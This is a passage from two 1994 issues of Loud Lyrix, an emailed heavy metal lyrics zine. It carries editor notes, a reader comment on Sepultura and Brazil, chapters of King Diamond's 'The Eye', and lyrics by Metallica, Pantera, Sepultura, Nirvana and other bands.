album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #4, 4/12/94
-----------------------
Here it is everyone, once again, week after week, the never ending, always
persistent and God of all 'zines -------> LOUD LYRIX! <tremendous cheering>
Well everyone, it's been a sad week, as you probably know, Kurt Cobain is
dead at the age of 27, father of one, and husband of Courtney Love. May he
find the peace in death, that he couldn't in life.
As you may have noticed, Loud Lyrix has changed it's address... we are now
located at lyrix@terranet.cts.com, I have decided to make a new account for
the 'zine, and leave myself a nice, UNFLOODED, personal account. So I just
want to tell all of you that from now on, all 'zine related mailings should
be sent to lyrix@terranet.cts.com, and that includes subscription requests,
and sign offs. So if you are 'spreading the word' for me, make sure you use
the new address ok? Again.. that's lyrix@terranet.cts.com. Thanx!
Alright people, I have a serious request for you all, I am starting a
"Great Usenet Hunt" here for the 'zine, I want all of you with Usenet
access to look around for newsgroups that I can regularly post the 'zine to
every week without getting flamed to hell! Just mail me, and tell me the
address for it, eg. alt.music.zines or whatever.... I want to change that
line in my header that reads: Usenet: None
Ok! So here we are, we've had ONE, count 'em, ONE response to "Manifest"
by Sepultura, it is from a Brazilian brother who knows what it's like
there, so read it. I've also included another Sepultura song in this issue,
hope you all like it.
I've also started the posting of "The Eye" by King Diamond... look for a
new chapter each week... there are 10 in all, and I'm telling you now, I
will NOT send anyone any chapters ahead of time, so don't even ask. :-)
We had quite a bit of submissions this week, so I wish to thank all you
people for taking the time and becoming more involved with Loud Lyrix...
and that's it everyone, hope you enjoy this issue... and remember... we are
now at lyrix@terranet.cts.com.
CONTENTS
--------
Reader's Comments
Prologue: The Eye
Song 1: "The Eye of The Witch" by King Diamond
Song 2: "Diamonds and Rust" by Judas Priest
Song 3: "Propaganda" by Sepultura
Song 4: "You Shook Me All Night Long" by AC/DC
Song 5: "Smells Like Teen Spirit" by Nirvana
Song 6: "Fucking Hostile" by Pantera
Song 7: "Suicide Solution" by Ozzy Osbourne
Song 8: "Eternal" by Paradise Lost
Song 9: "Fade To Black" by Metallica
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************* R E A D E R ' S C O M M E N T S *********************
Date: Fri, 08 Apr 94 19:22:48 BSC
From: Andre Hentz <LCMI3AHT@ibm.ufsc.br>
Subject: Re: Loud Lyrix #3
Since I'm a Brazilian, please excuse my English, I must state my opinion
about Sepultura's lyrics. First, I think it's necessary to understand a bit
of Brazilian history to explain what happened. As a result of 20 years of
dictatorial government, some sectors of society are corrupted and people
have not reacted to it. Brazil has the 4th largest TV network in the world
(Globo TV) and people only know what Globo tells them. Like this massacre,
other facts aren't known by the Brazilian people, so the situation doesn't
change. Or I should say it did not change. Since late 1992, when president
Fernando Collor was deposed by a democratic impeachment process, we are
cleaning Brazil out.
I wonder if bands like Sepultura should also communicate this kind of
loud criticism in Portuguese because only 1% of the 190 million population
of Brazil can understand English.
[Editor -- It would be nice to see Sepultura expressing their views in
their native tongue, but I think they are singing in English because they
want the message to get across to the rest of the world. But they do have
some old songs that were in Portuguese, they sang some for an encore at
their gig here in Toronto.]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- Ok everyone.... I am gonna post all the lyrics off of a certain
album, by a certain fellow, who in my un-humble opinion, is the greatest
writer and lyricist ever to walk the earth! His name is King Diamond, and
this certain album is called "The Eye".... I'd tell you what's it's about,
but you can just read the songs to find that out! I will be posting one
song from the album in each issue of Loud Lyrix.... in this one, I'm
posting the Prologue, that gives a little background of the story (which is
for the most part true by the way!), and all the songs on this album, are
like a chapter in the total story.. it's really kewl.... if you want the
full effect of the album, and it's energy and all that rot, I'd strongly
suggest going out, and buying it! Ok.... now for the Prologue... I hope you
enjoy it, see ya on the other side!]
**************************** T H E E Y E *******************************
by K I N G D I A M O N D
Prologue
--------
|-----|
|
|
- he main part of the stories told on this album are unfortunately true,
and took place during the French Inquisition, 1450 - 1670.
All of the following characters are real and from that period of time.
Nicholas de la Reymie: Head investigator of the Christian Burning Court
(Chambre Ardente), in Paris, France
Jeanne DiBasson: Supposed witch
Madeleine Bavent: 18 year old french nun who entered the convent at Louviers
in 1625, after having been seduced by a priest. Died in
1647 in prison.
Father Pierre David: Chaplain of the convent at Louviers till his death in
1628.
Father Mathurin Picard: Chaplain of the convent at Louviers from 1628 to his
death in 1642. Among his sick, insane deeds he
managed to rape Madeleine Bavent.
********************* T O B E C O N T I N U E D ***********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 1 of "The Eye", by King Diamond
******************** E Y E O F T H E W I T C H **********************
It's so cold inside on this summer's night
Black clouds in the sky dancing before my eyes
I'm losing track of time
It's the Eye of the Witch
It's the Eye of the Witch
Thunder bring the rain, penetrate my brain
I am no more the same, that special night has come again
Losing track of time
It's the Eye of the Witch
The Eye...The eye...the eye
Another glass of wine to heat the blood of mine
And as I look inside the necklace called "The Eye"
I'm going back in time
It's the Eye of the Witch
It's the Eye of the Witch
The Eye...The eye...the eye
********************* T O B E C O N T I N U E D ***********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- As everyone should know by now, Kurt Cobain, singer of Nirvana
has committed suicide at his home in Seattle. He exited this realm of
existence with a shotgun blast to the cranium. I can't say that I was the
biggest Nirvana fan in the world, but I am still as shocked or more so than
most people. As much as I hate crediting Nirvana with the "birth of Grunge"
I have to admit that they were influential in popularizing the sound, and
I can't really say if that's a good or a bad thing. But anyways, Kurt,
dude, this one's for you man, let's hope you're in a better place, where
the tunes are always cranked, and the moshing never ends.]
************* S M E L L S L I K E T E E N S P I R I T ***************
by N I R V A N A
Album: "Nevermind"
Load up on guns and bring your friends
It's fun to lose and to pretend
She's over bored and self assured
Oh no, I know a dirty word
Hello, hello, hello, how low?
I'm worse at what I do best
And for this gift I feel blessed
Our little tribe has always been
And always will until the end
Hello, hello, hello, how low?
And I forget just why I taste
Oh yeah, I guess it makes me smile
I found it hard, it was hard to find
Oh well, whatever, nevermind
With the lights out, it's less dangerous
Here we are now, entertain us
A mulatto
An albino
A mosquito
My libido
Yay, a denial
***************************** T H E E N D *******************************
Typed and Transcribed by: The Lerxst of Death
Contributed by: Sartre <sartre@terranet.cts.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************** D I A M O N D S A N D R U S T *************************
by J U D A S P R I E S T
Album: "Sin After Sin (?)"
(original lyrics by Joan Baez)
I'll be damned, here comes your ghost again
but that's not unusual
it's just that the moon is full
and you decided to come
And here I sit, hand on the telephone
hearing the voice I'd known
a couple of light years ago
headed straight for a fall
But we both know what memories can bring
they bring Diamonds and Rust
yes we both know what memories can bring
they bring Diamonds and Rust
Now I see you standing with brown leaves all around and snow in your hair
Now we're smiling out the window of the crummy hotel over washington square
and then comes that white clouds, mingles and hangs in the air
Speaking strictly for me
we both could've died then and there
Now you're telling me you're not nostalgic
then give me another word for it
you were so good with words
and at keeping things paid
cause I need some of that vagueness now, it's all come back too clearly
yes, I love you dearly
and if you're offering me diamonds and rust
I've already paid
But we both know what memories can bring
they bring Diamonds and Rust
yes we both know what memories can bring
they bring Diamonds and Rust
Diamonds, Diamonds and Rust
Diamonds, Diamonds and Rust
Diamonds, Diamonds and Rust
Diamonds, Diamonds and Rust
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************** P R O P A G A N D A ****************************
by S E P U L T U R A
Album: "Chaos A.D."
Why don't you get a life and grow up
Why don't you realize that you're fucked up
Why criticize what you don't understand
Why change my words, you're so afraid
You think you have the right to
Put me down
Propaganda hides your scum
Face to face you don't have a word to say
You got in my way, now you'll have to pay
Don't, don't believe what you
See
Don't, don't believe what you read
No!!!
I know my ways, I'm here to stay
I didn't start all this yesterday
I'll prove you wrong all the way
Life teaches me you're always alone
Don't, don't believe what you
See
Don't, don't believe what you read
No!!!
***************************** T H E E N D *******************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********* Y O U S H O O K M E A L L N I G H T L O N G ***********
by A C / D C
Album: "Back in Black"
She was a fast machine,
She kept her motor clean,
She was the best damn woman that I ever seen,
She had a-sightless eyes,
Telling me no lie,
Knockin' me out with those American thighs,
Taking more than her share,
Had me fighting for air,
She told me to come, but I was already there,
'Cos the walls start shaking,
The earth was quaking,
My mind was achin',
And we were makin' it and you...
Shook me all night long,
Yeah you, shook me all night long.
Running double time on that seduction line,
She's one of a kind,
She's just mine all mine,
Well her claws,
Are just another cause,
Made a meal out of me, and come back for more,
Tried to cool me down,
To take another round,
Well I'm back in the ring to take another swing,
But the walls were shaking,
The earth was quaking,
My mind was aching,
And we were making it and you...
Shook me all night long,
Yeah you, shook me all night long,
Knocked me out, I said you
Shook me all night long,
Had me shaking and you,
Shook me all night long,
Had me shaking,
Well you shook me...
[guitar solo]
You really shook me and YOU!
Shook me all night long,
Aaaaahaaaahaaaah You...
Shook me all night long,
Yeah yeah you,
Shook me all night long,
You really got me and you,
Shook me all night long,
Yeah you shook me,
Yeah you shook me,
All night long.
**************************** T H E E N D ********************************
Typed by: Lyrics archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** F U C K I N G H O S T I L E ************************
by P A N T E R A
Album: "Vulgar Display of Power"
Almost every day. I see the same face on broken picture tube
It fits my attitude.
If you could see yourself, you put you on a shelf, your verbal masturbate
Promise to nausiate
Today I'll play the part of non-parent
Not make a hundred rules for you to know about yourself
Not lie and make you believe what's evil is making love
And making friends, and meeting God your own way.
The right way.
Chorus:
To see, to bleed, cannot be taught
In turn you're making us fucking hostile
We stand alone
The truth in right and wrong, the boundaries of the law.
You seem to miss the point.
Arresting for a joint?!
You seem to wonder why hundreds of people die.
You're writing tickets man, my mom got jumped, they ran!
Now I'll play a public servant.
To serve and protect by the law and the state.
I'd bust the punks that rape, steal and murder.
And leave you be, if you crossed me.
I'd shake your hand like a man, not a God.
(Chorus)
Come meet your maker boy, something you can't enjoy.
Because of heaven/hell.
A fucking wives tale they put in your head.
Then put you in your bed.
He's watching say your prayers, cause God is everywhere.
Now I'll play a man learning priesthood.
Who's about to take the ultimate test in life.
I'd question things because I am human.
And call NO ONE my father who's no closer than a stranger.
I won't listen.
(Chorus)
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** S U I C I D E S O L U T I O N **********************
by O Z Z Y O S B O U R N E
Album: "Blizzard of Ozz"
Wine is fine
But whiskey's quicker
suicide is slow with liquor
Take a bottle drain your sorrows
Candied thoughts await tomorrows
Evil thought and evil doings
Cold, alone you hang in ruins
Thought you'd escape the reaper
You can't escape the master keeper
'Cause you feel life's unreal and you're living a lie
Such a shame who's to blame and you're wondering why
Then you ask from your cask is there life after birth
What you saw can mean hell on this earth
Now you live inside a bottle
The reaper's travelling at full throttle
It's catching you but you don't see
The reaper is you and the reaper is me
Breaking laws, knocking doors
But there's no one at home
Made your bed, rest your head
But you lie there and moan
Where to hide, suicide is the only way out
Don't you know what it's really about
Wine is fine
But whiskey's quicker
Suicide is slow with liquor
Take a bottle drown your sorrows
candied thoughts await tomorrow
***************************** T H E E N D *******************************
Typed by: David Reeves <91843318@uwwvax.uww.edu>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
***************************** E T E R N A L *******************************
by P A R A D I S E L O S T
Album: "Gothic"
Why can't we hear
The time must come for us to leave here
Emotion has withered away
Out burnt out love has decayed
Obsessed to leave the earth
Tragedy has overrun since birth
Now our righteous fathers weep
As we greet eternal sleep
Are we born to pass away
Cry at all that remains
"Chosen words" fail to sustain
The wisdom of powers heard
In dismal thoughts seemingly absurd
Now as hope and glory dies
We'll scream at our demise
Are we lost forever more
[Now our righteous fathers weep
As we greet eternal sleep
Are we born to pass away]
***************************** T H E E N D *******************************
Typed by: ppbruno@vmesa.uerj.br
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** F A D E T O B L A C K *************************
by M E T A L L I C A
Album: "Ride The Lightning"
Life it seems, will fade away
8Drifting further every day
Getting lost within myself
Nothing matters no one else
I have lost the will to live
Simply nothing more to give
There is nothing more for me
Need the end to set me free
Things are not what they used to be
Missing one inside of me
Deathly lost, this can't be real
Cannot stand this hell I feel
Emptiness is filing me
To the point of agony
Growing darkness taking dawn
I was me, but now He's gone
No one but me can save myself, but it to late
Now I can't think, think why I should even try
Yesterday seems as though it never existed
Death Greets me warm, now I will just say good-bye
***************************** T H E E N D *******************************
Typed By: Bill Northrup <pioneer@cjbbs.com>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Well, this is the end of another Loud Lyrix! <Boo-hoo> But don't despair,
it's only one week 'til Loud Lyrix #5... hehehe... what would all you
dudes do if this were a MONTHLY 'zine?! That's not funny eh?
Don't forget people... we are now, lyrix@terranet.cts.com, all
submissions, comments, requests, and submissions are to be send here.
Remember to change the address in any ads that you distribute... or just
mail me, and I'll give you a brand spankin' new ad to spread around.
BTW... I'm STILL in need of that LISTSERV I've been begging about...
please, please please.... I need it badly.... if you know ANYONE, try and
set me up with it... thanx
C-ya
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
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_ ____ _ _ _____ _ __ _______ _______ __
| | / __ \| | | | __ \ | | \ \ / / __ \|_ _\ \ / /
| | | | | | | | | | | | | | \ \_/ /| |__) | | | \ V /
| | | | | | | | | | | | | | \ / | _ / | | > <
| |___| |__| | |__| | |__| | | |____| | | | \ \ _| |_ / . \
|______\____/ \____/|_____/ |______|_| |_| \_\_____/_/ \_\
Loud Lyrix, April 19, 1994, Issue # 5
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti) <death@terranet.cts.com>
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix is not responsible for accuracy of the lyrics, song titles,
album titles, or specific performers of the songs contained herein. All
songs are property of the bands that perform them and/or their record
labels. The lyrics contained herein cannot be used for any purpose other
than "private study, scholarship, or research." If anyone makes use of a
reprinted song for purposes in excess of "fair use," that user may be
liable for copyright infringement. Loud Lyrix is not responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is for the sheer fun and pleasure of discovering the
lyrics of some songs, and we are not out to rip off any bands or put any
words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #5, 4/19/94
-----------------------
Wow! What a week this was, I was up to my ass in overdue assignments and a
whole shit load of work from school, I just can't wait 'til summer! For
once it's actually a good thing I didn't have many submissions this week
to sort through, but that doesn't mean you should stop sending me stuff,
remember, if there is something you want to see in Loud Lyrix that you
think maybe I'm neglecting, the situation won't change until you speak up
about it... if I don't get submissions, I put in the songs that ***I***
wanna see! :-)
Well, nothing has changed much this past week for the 'zine, remember that
the 'zine's address is now lyrix@terranet.cts.com, any and all 'zine
related mail should be sent there, try and be considerate, and only mail
me directly if you really need too or if, for some strange reason your
mail can't get through to lyrix@terranet.cts.com.
We are still looking for a LISTSERV to hook up with. The ever expanding
list of subscribers is making it harder and harder for me to do it by
hand, help me out, and try and find one for me.... thanx! Also, the
Newsgroup hunt is still on, find some newsgroups for me to regularly post
the 'zine to each week...
One more thing, last Saturday, I got a call from a friend of mine, he told
me, "Holy shit Gino, you'll never believe these two shows that are coming
soon!" So I asked him who was playing... the first concert, at Maple Leaf
Gardens, $30 a ticket, with a 5000 person Gen Adm. mosh pit in the rink!
The bill includes Biohazard! Sepultura!!!! Pantera!!!!!!!! Whoa!... We
got the tickets, could you believe that the entire pit (5000 people) and
the Gold seats in the Gardens (500 people) were sold out before my friend
could buy the tickets at the store!! Shit, damn these credit card people.
Anyways, we got Red seats... they are like the best seats... nice view of
the stage and everything!
The second Concert, at Molson Park in Barrie, a 30,000 person Gen Adm.
show (that's where they had Lollapolloza in Toronto) includes... Suicidal
Tendencies!! Danzig!!!! and Metallica!!!!!!!! This is the best news I've
ever had!! I just can't wait... I'm wearing the wrist band from
Ticketmaster right now, it guarrantees me a place in line Thurs when the
tickets go on sale, number 27... I can't wait! To celebrate these amazing
events, I've included one song from each of those bands in this week's
issue, except for Biohazard, since I can't find their lyrics ANYWHERE! Argh!
Later dudes, and BTW, tell me if you know ANYTHING about these shows, if
you've seen 'em already, or you've heard of these tours or anything.. it
was a huge surprise for me!
CONTENTS
--------
Song 1: "The Trial" ("The Eye", Chapter 2) by King Diamond
Song 2: "Refuse/Resist" by Sepultura
Song 3: "Blackened" by Metallica
Song 4: "Mouth for War" by Pantera
Song 5: "Institutionalized" by Suicidal Tendencies
Song 6: "Mother" by Danzig
Song 7: "Feel" by Detritus
Song 8: "Keep Talking" by Pink Floyd
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Chapter 2 of "The Eye", by King Diamond
*************************** T H E T R I A L *****************************
La Reymie:
"Jeanne Dibasson, You stand accused before the Burning Court
for practising witchcraft. Do you confess? We have ways
to make you talk. How do you plead?"
Jeanne:
"I never did any harm to anyone. I don't believe this."
La Reymie:
"Lead the witch to the dungeon for the test (muhahahaha)...
Bring out the glowing pins... Do it now!"
This is rotten to the core.
Jeanne is naked on the floor.
In the dungeon they want more.
La Reymie:
"Oh Jeanne you feel so good"
La Reymie is touching her body
Wrinkled fingers all over her.
La Reymie:
"So this is how you make with the devil.
We're gonna get you witchy woman.
we will never believe in you
so you better repent your sins now."
Sticking needles into her skin yeah
In the dungeon blood is everywhere
Glowing needles, needles and pins yeah
She's getting weaker, no more pain to feel
La Reymie:
"We will never believe in you
so you better repent your sins now."
"..... We are the servants of GOD, we believe in the devil
and we've found his mark on You. Confess witch!
"..... Thou shalt not suffer a witch to live.
Whosoever lieth with a beast shall surely be put to death"
Jeanne:
"Never did I lie with any beast of thine
dogs or cats or goats. Now leave my soul alone"
La Reymie:
"He that sacrificeth unto any god save the Lord only
he shall be utterly destroyed!!!"
Jeanne:
"Now I hear, deceiving lying tongues
never have I done harm to anyone"
But they did not turn her loose
Horns and tails and cloven hoof
Can you tell me where's the proof...
where's the proof....
where's the proof....
where's the proof....
where's the proof....
where's the proof....
where's the proof....
!!!!!!!!!!!!!
********************** T O B E C O N T I N U E D **********************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[Editor -- last Monday, April 11, Sepultura hosted the Power 30 (Canada's
Headbanger's Ball), the last video they showed was a new one for this
song, they said that it was the first time it would be seen, but I wasn't
sure, could someone tell me when the first time they saw the new vid for
Refuse/Resist was? Thanx... amazing song.]
*********************** R E F U S E / R E S I S T *************************
by S E P U L T U R A
Album: "Chaos A.D."
Chaos a.d.
Tanks on the streets
Confronting police
Bleeding the plebs
Raging crowd
Burning cars
Bloodshed starts
Who'll be alive?!
Chaos a.d.
Army in siege
Total alarm
I'm sick of this
Inside the state
War is created
No man's land
What is this shit?!
Refuse/resist
Refuse
Chaos a.d.
Disorder unleashed
Starting to burn
Starting to lynch
Silence means death
Stand on your feet
Inner fear
Your worst enemy
Refuse/resist
***************************** T H E E N D *******************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*************************** B L A C K E N E D *****************************
by M E T A L L I C A
Album: "... And Justice For All"
Blackened is the end
Winter it will send
Throwing all you see
Into obscurity
Death of mother Earth
Never a rebirth
Evolution's end
Never will it mend
Never
Fire
To begin whipping dance of the dead
Blackened is the end
To begin whipping dance of the dead
Color our world blackened
Bustering of Earth
Terminate its worth
Deadly nicotine
Kills what might have been
Callous frigid chill
Nothing left to kill
Never seen before
Breathing nevermore
Never
Fire
To begin whipping dance of the dead
Blackened is the end
To begin whipping dance of the dead
Color our world blackened
Blackened
Opposition...contradiction...premonition...compromise
Agitation...violation...mutilation...planet dies
Darkest color
Blistered earth
True death of life
Termination....expiration...cancellation...human race
Expectation...liberation...population...lay to waste
See our mother
Put to death
See our mother die
Smouldering decay
Take her breath away
Millions of our years
In minutes disappears
Darkening in vain
Decadence remains
All is said and done
Never is the sun
Never
Fire
To begin whipping dance of the dead
Blackened is the end
To begin whipping dance of the dead
Fire
Is the outcome of hypocrisy
Darkest potency
In the exit of humanity
Color our world blackened
Blackened
***************************** T H E E N D *******************************
Typed By: Gregory Smith <GS6368@ALBNYVMS.bitnet>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************** M O U T H F O R W A R **************************
by P A N T E R A
Album: "Vulgar Display of Power"
Revenge. I'm screaming revenge again
Wrong. I've been wrong for far too long.
Been constantly so frustrated, I've moved mountains with less.
When I channel my hate to productive, I don't find it hard to impress.
Pre:
Bones in traction
Hands break to hone raw energy
Bold and disastrous, my ears can't hear what you say to me.
Chorus:
Hold your mouth for the war
Use it for what it's for
Speak the truth about me
Determined.
Possessed. I feel a conquering will down inside me
Strength. The strength of many to crush who might stop me.
My strength is in number, and my soul lies in every one.
The releasing of anger can better any medicine under the sun.
(Pre)
(Chorus)
There comes a time within everyone to close your eyes to what's real.
No comprehension to fail. I vacuum the wind for my sail
Can't be the rest, let others waste my time.
Owning success is the bottom line.
Like a knife into flesh. After life is to death.
Pulling and punching the rest of duration
NO ONE can piss on this determination
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************* I N S T I T U T I O N A L I Z E D *********************
by S U I C I D A L T E N D E N C I E S
Album: "Suicide's An Alternative"
Sometimes I try to do things, and it just doesn't work out the way i want
it to and I get real frustrated, and like, I try hard to do it and I take
my time and it just doesn't work out the way I want it to, it's like I
concentrate on it real hard, and it just doesn't work out, and everything I
do and everything I try it never turns out, it's like I need time to figure
these things out, there's always someone there going, hey mike, you know,
we been noticing you've been having a lot of problems lately, you know,
maybe get away, and like, maybe you should talk about it, you'd feel a lot
better, I go no, it's ok, you know, I'll figure it out, just leave me alone
I'll figure it out, you know, I'll just work it out myself, and they go,
well you know, if you wanna talk about it I'll be here you know, and you'll
probably feel a lot better if you talk about it, so why don't you talk
about it, I go, no, I don't want to, I'm ok, I'll figure it out myself, but
they just keep bugging me and they just keep bugging me, and it builds up
inside,
So you're gonna be institutionalized
You'll come out brainwashed with bloodshot eyes
You won't have any say
They'll brainwash you until you see their way
I'm not crazy - institutionalized
You're the one who's crazy - institutionalized
You're driving me crazy - institutionalized
They stuck me in an institution
Said it was the only solution
To give me the needed professional help
To protect me from the enemy, myself
I was in my room and I was like just staring at the wall thinking about
everything but then again I was thinking about nothing, and then my mom
comes in and I didn't even know she was there and she calls my name and I
didn't hear her and then she started screaming, MIKE, MIKE, and I go what,
what's the matter, and she goes what's the matter with you? I go there's
nothing wrong mom, and she goes don't give me that, you're on drugs, I go
no mom, I'm not on drugs, I'm ok, I'm just thinking, why don't you get me a
Pepsi? She goes, no, you're on drugs, I go mom, I'm okay, I'm just
thinking, she goes no, you're not thinking, you're on drugs, normal people
don't act that way. I go mom, just get me a Pepsi please, all I want is a
Pepsi, and she wouldn't give it to me, all I wanted was a Pepsi, just one
Pepsi, and she wouldn't give it to me, just a Pepsi.
They give you a white shirt with long sleeves
Tied around you're back, you're treated like thieves
Drug you up because they're lazy
It's too much work to help a crazy
I'm not crazy - institutionalized
You're the one who's crazy - institutionalized
You're driving me crazy - institutionalized
They stuck me in an institution
Said it was the only solution
To give me the needed professional help
To protect me from the enemy, myself
I was sitting in my room and my mom and my dad came in and they pulled up a
chair and they sat down, they go, mike, we need to talk to you, I go okay,
what's the matter? They go me and your mom, we been noticing lately you've
been having a lot of problems, and you've been going out for no reason, and
we're afraid that you're going to hurt somebody, and we're afraid you're
gonna hurt yourself, so we decided that it would be in your best interest
if we put you somewhere where you could get the help that you need, and I
go, wait, what are you talking about, we decided? my best interest? How do
you know what MY best interest is? How can you say what MY best interest
is? What are you trying to say? That I'm crazy? When I went to your
schools, I went to your churches, I went to your institutional learning
facilities. So how can you say I'm crazy?
They say they're gonna fix my brain
Alleviate my suffering and my pain
But by the time they fix my head
Mentally I'll be dead
I'm not crazy - institutionalized
You're the one who's crazy - institutionalized
You're driving me crazy - institutionalized
They stuck me in an institution
Said it was the only solution
To give me the needed professional help
To protect me from the enemy, myself
It doesn't matter, I'll probably get hit by a car anyway.
***************************** T H E E N D *******************************
Transcribed by: ThinLizzy
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************************** M O T H E R ********************************
by D A N Z I G
Album: "Danzig III: How The Gods Kill (??)"
Mother
Tell your children not to walk my way
Tell your children not to hear my words
what they mean
what they say
Mother
Mother
Can you keep them in the dark for life
Can you hide them from the waiting world
Oh Mother
Father
Gonna take your daughter out tonight
gonna show her my world
Oh Father
Not about to see your light
but if you wanna find hell with me
I can show you what it's like
'till you're bleeding
Mother
Tell your children not to hold my hand
Tell your children not to understand
Oh Mother
Father
Do you wanna bang heads with me
Do you wanna feel everything
oh Father
Not about to see your light
but if you wanna find hell with me
I can show you what it's like
'till you're bleeding
(Again)
***************************** T H E E N D *******************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************** F E E L **********************************
by D E T R I T U S
Album: "If But For One"
Words, they told me the words to say,
They taught me the way to pray,
Not 'til now I know
Feel, the way that I want to feel,
But how can it be so real
When I feeling so low?
So reach out and touch me
Show me that you're there
Teach me how to feel you whisper that you care
I know that you're my shelter, my strength, my need, my all
So why's it when I'm feeling down I can't feel you at all?
Touch me in a way that I'll know it is you
Hold me and embrace me, make me something new
Fill me with your laughter, your life, your gifts, your all
Pull me up I'm in selfbound, so numb but soon not anymore
You give me life, give me hope, give me resurrection,
You give me your peace, give your all.
***************************** T H E E N D *******************************
Typed By: Phil Powell <metalhed@cap.gwu.edu>
